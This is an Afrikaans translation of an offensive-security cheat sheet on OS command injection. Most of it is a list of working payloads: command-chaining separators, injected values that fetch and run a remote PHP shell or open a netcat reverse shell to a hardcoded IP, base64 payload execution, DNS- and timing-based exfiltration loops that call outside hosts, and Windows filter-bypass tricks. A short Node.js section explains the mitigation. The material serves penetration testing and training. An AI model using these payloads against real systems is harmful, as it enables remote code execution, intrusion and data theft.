Command Injection

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Wat is command Injection?

A command injection laat die uitvoering van ewekansige bedryfstelsel-opdragte toe deur 'n aanvaller op die bediener wat 'n toepassing huisves. Daardeur kan die toepassing en al sy data volledig gekompromitteer word. Die uitvoering van hierdie opdragte stel die aanvaller gewoonlik in staat om ongemagtigde toegang of beheer oor die toepassing se omgewing en onderliggende stelsel te verkry.

Konteks

Afhangend van waar jou input ingespuit word mag jy die aangehaalde konteks beëindig (met " of ') voordat jy die opdragte uitvoer.

Command Injection/Execution

bash
#Both Unix and Windows supported
ls||id; ls ||id; ls|| id; ls || id # Execute both
ls|id; ls |id; ls| id; ls | id # Execute both (using a pipe)
ls&&id; ls &&id; ls&& id; ls && id #  Execute 2º if 1º finish ok
ls&id; ls &id; ls& id; ls & id # Execute both but you can only see the output of the 2º
ls %0A id # %0A Execute both (RECOMMENDED)
ls%0abash%09-c%09"id"%0a   # (Combining new lines and tabs)

#Only unix supported
`ls` # ``
$(ls) # $()
ls; id # ; Chain commands
ls${LS_COLORS:10:1}${IFS}id # Might be useful

#Not executed but may be interesting
> /var/www/html/out.txt #Try to redirect the output to a file
< /etc/passwd #Try to send some input to the command

Beperking Bypasses

As jy probeer om arbitrêre opdragte binne 'n linux-masjien uit te voer, sal jy belangstel om oor hierdie Bypasses te lees:

Bypass Linux Restrictions

Voorbeelde

vuln=127.0.0.1 %0a wget https://web.es/reverse.txt -O /tmp/reverse.php %0a php /tmp/reverse.php
vuln=127.0.0.1%0anohup nc -e /bin/bash 51.15.192.49 80
vuln=echo PAYLOAD > /tmp/pay.txt; cat /tmp/pay.txt | base64 -d > /tmp/pay; chmod 744 /tmp/pay; /tmp/pay

Parameters

Hier is die top 25 parameters wat kwesbaar kan wees vir code injection en soortgelyke RCE vulnerabilities (van link):

?cmd={payload}
?exec={payload}
?command={payload}
?execute{payload}
?ping={payload}
?query={payload}
?jump={payload}
?code={payload}
?reg={payload}
?do={payload}
?func={payload}
?arg={payload}
?option={payload}
?load={payload}
?process={payload}
?step={payload}
?read={payload}
?function={payload}
?req={payload}
?feature={payload}
?exe={payload}
?module={payload}
?payload={payload}
?run={payload}
?print={payload}

Time based data exfiltration

Uittreksel van data: karakter vir karakter

swissky@crashlab▸ ~ ▸ $ time if [ $(whoami|cut -c 1) == s ]; then sleep 5; fi
real    0m5.007s
user    0m0.000s
sys 0m0.000s

swissky@crashlab▸ ~ ▸ $ time if [ $(whoami|cut -c 1) == a ]; then sleep 5; fi
real    0m0.002s
user    0m0.000s
sys 0m0.000s

DNS based data exfiltration

Gebaseer op die tool vanaf https://github.com/HoLyVieR/dnsbin wat ook gehost word op dnsbin.zhack.ca

1. Go to http://dnsbin.zhack.ca/
2. Execute a simple 'ls'
for i in $(ls /) ; do host "$i.3a43c7e4e57a8d0e2057.d.zhack.ca"; done

$(host $(wget -h|head -n1|sed 's/[ ,]/-/g'|tr -d '.').sudo.co.il)

Aanlyn gereedskap om vir DNS based data exfiltration te toets:

  • dnsbin.zhack.ca
  • pingb.in

Filtrering-omseiling

Windows

powershell C:**2\n??e*d.*? # notepad
@^p^o^w^e^r^shell c:**32\c*?c.e?e # calc

Linux

Bypass Linux Restrictions

Node.js child_process.exec vs execFile

Wanneer jy JavaScript/TypeScript back-ends oudit, sal jy dikwels die Node.js child_process API teëkom.

javascript
// Vulnerable: user-controlled variables interpolated inside a template string
const { exec } = require('child_process');
exec(`/usr/bin/do-something --id_user ${id_user} --payload '${JSON.stringify(payload)}'`, (err, stdout) => {
/* … */
});

exec() skep 'n shell (/bin/sh -c), daarom sal enige karakter wat 'n spesiale betekenis vir die shell het (back-ticks, ;, &&, |, $(), …) lei tot command injection wanneer gebruikersinvoer in die string gekonkateneer word.

Mitigering: gebruik execFile() (of spawn() sonder die shell opsie) en voorsien elke argument as 'n afsonderlike array-element sodat geen shell betrokke is nie:

javascript
const { execFile } = require('child_process');
execFile('/usr/bin/do-something', [
'--id_user', id_user,
'--payload', JSON.stringify(payload)
]);

Werklike geval: Synology Photos ≤ 1.7.0-0794 was deur 'n ongeverifieerde WebSocket-gebeurtenis uitgebuit wat deur die aanvaller beheerde data in id_user geplaas het, wat later in 'n exec()-oproep ingesluit is, wat RCE tot gevolg gehad het (Pwn2Own Ireland 2024).

Brute-Force Opsporingslys

Auto_Wordlists/wordlists/command_injection.txt at main \xc2\xb7 carlospolop/Auto_Wordlists \xc2\xb7 GitHub

Verwysings

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